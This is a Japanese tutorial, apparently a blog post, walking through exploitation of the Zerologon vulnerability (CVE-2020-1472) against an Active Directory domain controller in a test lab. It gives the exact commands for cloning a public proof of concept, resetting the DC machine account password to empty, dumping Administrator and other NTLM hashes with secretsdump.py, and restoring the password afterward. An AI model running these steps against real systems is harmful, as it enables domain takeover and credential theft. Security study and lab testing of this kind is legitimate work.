ActiveDirectoryの脆弱性「Zerologon (CVE-2020-1472)」にExploitしてみます。
「Zerologon (CVE-2020-1472)」について
参考ページ
- Tom Tervoortによるブログ記事
https://www.secura.com/blog/zero-logon - Secura社 Zerologon CVE-2020-1472 Whitepaper
https://www.secura.com/uploads/whitepapers/Zerologon.pdf - マイクロソフトの脆弱性情報
https://msrc.microsoft.com/update-guide/ja-jp/vulnerability/CVE-2020-1472 - NVDの脆弱性情報
https://nvd.nist.gov/vuln/detail/CVE-2020-1472 - セキュリティベンダの情報
※Tom Tervoortはこの脆弱性を発見したセキュリティ研究者
検証環境
攻撃される側はWindows Server 2019で構築したActiveDirectoryを使用します。
攻撃する側はPython3.7以上が使えれば何でも良いです。
Exploitの準備
ExploitはDirk-janがGitHubで公開しているものを使います。
<GitHub>
GitHub - dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of Secura
Python3バージョン確認
Exploitの動作要件にPython3.6、impacketの動作要件にPython3.7とあるのでPythonのバージョンを確認します。
$ python3 --version Python 3.8.5
impacketのインストール
impacketに含まれる「secretsdump.py」を使うのでインストールします。
パスワードハッシュのダンプに使用します。
<GitHub>
https://github.com/SecureAuthCorp/impacketGitHub - SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols.
$ sudo apt install git python3-pip $ git clone https://github.com/SecureAuthCorp/impacket.git $ cd impacket/ $ sudo pip3 install .
Exploitのダウンロード
$ cd $ git clone https://github.com/dirkjanm/CVE-2020-1472
Exploitの実行
Exploit実行
成功するとdc01のコンピュータアカウントのパスワードが「なし」になります。
→「NTLMハッシュ=31d6cfe0d16ae931b73c59d7e0c089c0」
$ cd CVE-2020-1472/ $ python3 cve-2020-1472-exploit.py <hostname> <target-IP>
NTLMハッシュのダンプ
dc01のコンピュータアカウントでNTLMハッシュのダンプをします。パスワードなしで実行できます。
これでAdministratorのNTLMハッシュが分かります。悪用されると困ります。
secretsdump.py -just-dc -no-pass <hostname>\$@<target-IP>
AdministratorのNTLMハッシュを使ってダンプをします。
「plain_password_hex」を確認します。この値はExploit前の状態に戻すために使います。
secretsdump.py -hashes <NTLM-hash> administrator@<target-IP>
Exploit前の状態へ復元
Exploit前の状態に戻さないと不整合により不具合が出るので、Exploit実行から時間を空けずに戻します。
戻す時は上記コマンド結果で確認した「plain_password_hex」を使います(長い、数100文字ある)。
なぜ不具合が出るか/どんな不具合が出るかは、Exploitの作成者Dirk-janがTwitterで説明しています。
There seems to be quite some questions and confusion about the impact of exploiting Zerologon (CVE-2020-1472) on the environment. So here's a thread 👇
— Dirk-jan (@_dirkjan) 2020年9月16日
python3 restorepassword.py <domain>/<hostname>@<hostname> -target-ip <target-IP> -hexpass <hex-credential>